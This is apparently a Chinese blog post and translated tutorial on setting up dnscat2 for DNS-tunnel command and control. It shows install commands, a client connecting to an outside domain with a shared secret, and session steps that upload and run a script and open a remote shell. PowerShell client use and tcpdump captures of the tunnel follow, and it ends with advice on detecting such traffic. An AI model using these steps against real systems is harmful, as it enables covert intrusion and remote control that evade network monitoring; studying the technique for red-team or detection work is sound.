• dns tunnel C&C


    通过DNS控制主机以及执行命令

    我的ubuntu 安装过程
     1854  mkdir dns_tunnel_tool
     1855  cd dns_tunnel_tool/
     1856  ls
     1857  git clone https://github.com/iagox86/dnscat2.git
     1858  cd dnscat2/server/
     1859  bundle install
     1860  sudo apt install ruby-bundler
     1861  bundle install
     1862  sudo apt-get install libpq-dev
     1863  bundle install
     1864  gem install salsa20 -v '0.1.1'
     1865  sudo gem install salsa20 -v '0.1.1'
     1866  ruby
     1867  ruby -v
     1869  sudo  apt  install   ruby-dev
     1870  sudo gem install salsa20 -v '0.1.1'
     1871  bundle install
     1872  ls
     1873  cd ..
     1874  ls
     1875  cd client/
     1876  ls
     1877  bundle install
     1878  ls
     1879  make
     1880  ls
    server:
    ruby dnscat2.rb --dns "domain=a.xxx.com" --no-cache

    1881 ./dnscat --secret=d51c2caf4d4575aa86bbdd6b354bf972 a.friendskak.com
    在server端执行,上传文件到client然后执行你想要的任何命令,本质上client扮演的是服务器监听操作:
    客户端提示字样:New window created: 21
    session -i 21 (数字和上面一致)
    upload run.sh run.sh
    exec "bash run.sh"
    然后在你的run.sh放入希望执行的内容

    输入:
    shell
    然后 session -i 上面命令的提示window编号
    即可远程shell了

    注意:执行操作前,最好先ping下看到pong再操作!

     传输文件时候,客户端提示:

    Session established!
    Got a command: COMMAND_PING [request] :: request_id: 0x0001 :: data: RDZNALUEEREZTOWNSRLOHDOTGDFSPHVWOTXZDDKULQCYHHAEWGALWGELDQIRZOIWIPASAAFJLQSQWZOTYESKXNSENBFIUYSDQHXFUMVCYPKIWQIQTSDHKROCDEUGAIEVBASZMJQFRGLXSKIIRMGYPZNNEKSLQKXHFRGAOLNHRXALIKISBGVTPVFWFDTVGWKGNYRJPADVWOWBWGRGIAQCTBHVKUBNXDNDMCVSEPMYFXBDLXHJDLREANVWTTBJLDWR
    [[ WARNING ]] :: Got a ping request! Responding!
    Response: COMMAND_PING [response] :: request_id: 0x0001 :: data: RDZNALUEEREZTOWNSRLOHDOTGDFSPHVWOTXZDDKULQCYHHAEWGALWGELDQIRZOIWIPASAAFJLQSQWZOTYESKXNSENBFIUYSDQHXFUMVCYPKIWQIQTSDHKROCDEUGAIEVBASZMJQFRGLXSKIIRMGYPZNNEKSLQKXHFRGAOLNHRXALIKISBGVTPVFWFDTVGWKGNYRJPADVWOWBWGRGIAQCTBHVKUBNXDNDMCVSEPMYFXBDLXHJDLREANVWTTBJLDWR
    Got a command: COMMAND_UPLOAD [request] :: request_id: 0x0002 :: filename: run2.sh :: data: 0x2d bytes
    Response: COMMAND_UPLOAD [response] :: request_id: 0x0002

    导语:即使在一些限制非常严格的环境下,DNS协议还是允许处理内部和外部的通讯的。所以通过dns就可以建立起目标主机和命令&控制服务器之间的通讯。

    即使在一些限制非常严格的环境下,DNS协议还是允许处理内部和外部的通讯的。所以通过dns就可以建立起目标主机和命令&控制服务器之间的通讯。由于命令和数据包都是在合法的dns查询中传输的,所以很不容易被检测到。

    Dnscat2是可以实现这一技术的,它可以通过dns协议创建一个命令和控制信道。这一工具使用基于C语言编写的客户端(种植体),客户端在目标机器执行,进而与服务端建立通信。通信过程中流量是进行加密传输的,并且通过预先共享的密钥进行认证。

    在kali2.0中安装这一工具可以通过以下命令:

    git clone https://github.com/iagox86/dnscat2.git
    cd dnscat2/server/
    bundle install

    通过DNS控制主机以及执行命令

    命令以及控制服务器可以通过下面命令进行初始化:

    ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cache

    通过DNS控制主机以及执行命令

    适用于windows的客户端已经编译好,你可以从https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip下载。下载完之后,只需运行一条于C&C服务端进行连接的命令:

    dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169

    通过DNS控制主机以及执行命令

    在C&C服务端,红队就可以进行会话交互:

    session -i 1

    通过DNS控制主机以及执行命令

    通过执行“help”命令会列出所有可执行的命令:

    通过DNS控制主机以及执行命令

    dnscat2的一些命令是可以上传和下载文件的,并且可以通过执行其他程序得到一个远程shell。

    或者可以使用“shell“命令会打开另外一个会话。

    通过DNS控制主机以及执行命令

    以下输出会在目标机器的命令行中显示:

    通过DNS控制主机以及执行命令

    shell是交互式的,而且全部是通过dns进行传输的,速度而且很快。

    通过DNS控制主机以及执行命令

    通过调用exec命令可以远程打开程序:

    exec notepad.exe

    通过DNS控制主机以及执行命令

    Luke Baggett 已经开发出powershell版本的客户端,并且已经在blackhillsinfosec网站中进行了介绍,这一版本的客户端的命令和已经编译好的客户端命令是相同的,不过他还添加了一些其他功能,比如交互式的powershell会话以及可以在内存中执行任何程序。

    以下命令就是在目标机器执行powershell版本客户端:

    PS C:> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.169

    还可以通过以下命令直接建立powershell会话:

    exec psh

    通过DNS控制主机以及执行命令

    这样会创建一个新的控制台,可以执行PowerShell命令和脚本:

    通过DNS控制主机以及执行命令

    结论

    dnscat2通过DNS进行控制和执行命令有很多优点,比如:

    1.支持多个会话
    2.流量加密
    3.通过使用密钥防止MiTM攻击
    4.从内存中直接执行powershell脚本
    5.隐蔽的

    检测这样的攻击是非常困难的,因为任意命令是通过合法的DNS流量进行传输的,所以应该强调监控DNS查询的长度,并允许主机只与受信任的DNS服务器进行通信。

    文章翻译于https://pentestlab.blog/2017/09/06/command-and-control-dns/,如若转载,请注明原文地址: http://www.4hou.com/technology/7668.html
     
     
    在没有任何数据传输下,可以看到dnscat在发送dns 心跳报文:
    |client$>sudo  tcpdump -i wlo1 -nt -s 500 port domain
    tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
    listening on wlo1, link-type EN10MB (Ethernet), capture size 500 bytes
    IP 192.168.10.115.41006 > 223.5.5.5.53: 43242+ MX? ad5d01003313f88400a5d907e33f3f2af5.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 43242 1/0/0 MX a198010033062a2fd0a284ffff61cae7a9.a.xxxxx.com. 10 (121)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 16676+ CNAME? f6a601003330523007755707e44274c164.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 16676 1/0/0 CNAME 7e6b010033d158b478d545ffff61cae7a9.a.xxxxx.com. (119)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 43060+ TXT? 6d4101003317bf4a4bc85a07e5384cf5bb.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 43060 1/0/0 TXT "2cf2010033fd736a21d252ffff61cae7a9" (117)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 38724+ TXT? 441c0100336e4b13ee2ea107e64f4b9aaf.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 38724 1/0/0 TXT "f20c0100337690d71b336effff61cae7a9" (117)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 3012+ TXT? 4c230100339c5fbda3152907e73cfa807b.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 3012 1/0/0 TXT "a99b010033f2b21a38b488ffff61cae7a9" (117)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 51445+ MX? 553501003324eb6cb42f0c07e8e6de1dd3.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 51445 1/0/0 MX dbcc0100334da4c1ef3984ffff61cae7a9.a.xxxxx.com. 10 (121)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 8436+ CNAME? 29900100338a6808f0b79f07e914b221c9.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 8436 1/0/0 CNAME 949a0100335b2115961200ffff61cae7a9.a.xxxxx.com. (119)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 55127+ MX? 2a6b01003377fa81e80dda07ea27177602.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 55127 1/0/0 MX 53550100336f50c7577e02ffff61cae7a9.a.xxxxx.com. 10 (121)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 21274+ MX? 43be01003377c6c176827007eba97492c8.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 21274 1/0/0 MX 0cbf010033b13ee136e779ffff61cae7a9.a.xxxxx.com. 10 (121)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 41474+ CNAME? 0426010033e7b72e15cf0407ec978e649e.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 41474 1/0/0 CNAME 785b010033669bc40db0c8ffff61cae7a9.a.xxxxx.com. (119)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 53280+ CNAME? 6594010033c0a84ee0828707ed686811f5.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 53280 1/0/0 CNAME c39b010033bdc067cd2326ffff61cae7a9.a.xxxxx.com. (119)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 49458+ TXT? 53850100335e9bd760b9b807eee85c8dc3.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 49458 1/0/0 TXT "1a10010033f72b7200bc02ffff61cae7a9" (117)
    IP 192.168.10.115.41006 > 223.5.5.5.53: 63355+ TXT? 07a6010033555222e0706f07ef6562310d.a.xxxxx.com. (70)
    IP 223.5.5.5.53 > 192.168.10.115.41006: 63355 1/0/0 TXT "c9bd0100339830e8373196ffff61cae7a9" (117)
  • 相关阅读:
    微信公众号开发(一)——环境搭建
    Spring中@Async-异步处理
    SSL/TLS安全评估-查看访问的网址支持哪些协议等
    SSL异常javax.net.ssl.SSLHandshakeException: Received fatal alert: handshake_failure
    Java代码自动部署
    SQL优化技巧
    idea2019.2 svn 忽略文件问题
    Remote System Explorer Operation在eclipse后台一直跑 解决办法
    JPA project Change Event Handler问题解决
    MySQL按首字母查询
  • 原文地址:https://www.cnblogs.com/bonelee/p/7943766.html
Copyright © 2020-2023  润新知